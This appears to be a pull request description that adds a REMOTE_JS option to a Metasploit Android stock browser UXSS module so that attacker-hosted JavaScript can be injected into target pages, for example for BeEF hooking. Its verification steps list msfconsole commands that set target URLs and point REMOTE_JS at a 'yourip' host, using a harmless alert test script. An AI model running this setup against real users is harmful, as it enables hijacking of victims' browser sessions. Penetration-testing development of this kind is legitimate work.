Add a REMOTE_JS datastore option to the android UXSS module

This makes BeEf integration a bit easier.

##### Verification

- [x] Create and host a `test.js` script somewhere that just contains `alert("WIN");`.
- [x] Configure the module to use the REMOTE_JS option:

        msf> use auxiliary/gather/android_stock_browser_uxss
        msf> set TARGET_URLS http://example.com
        msf> set REMOTE_JS http://yourip/test.js

- [x] Browse to the URL on your phone, you should see a popup containing "WIN"
- [x] Set the REMOTE_JS option to '', rerun the module, ensure it still works as expected.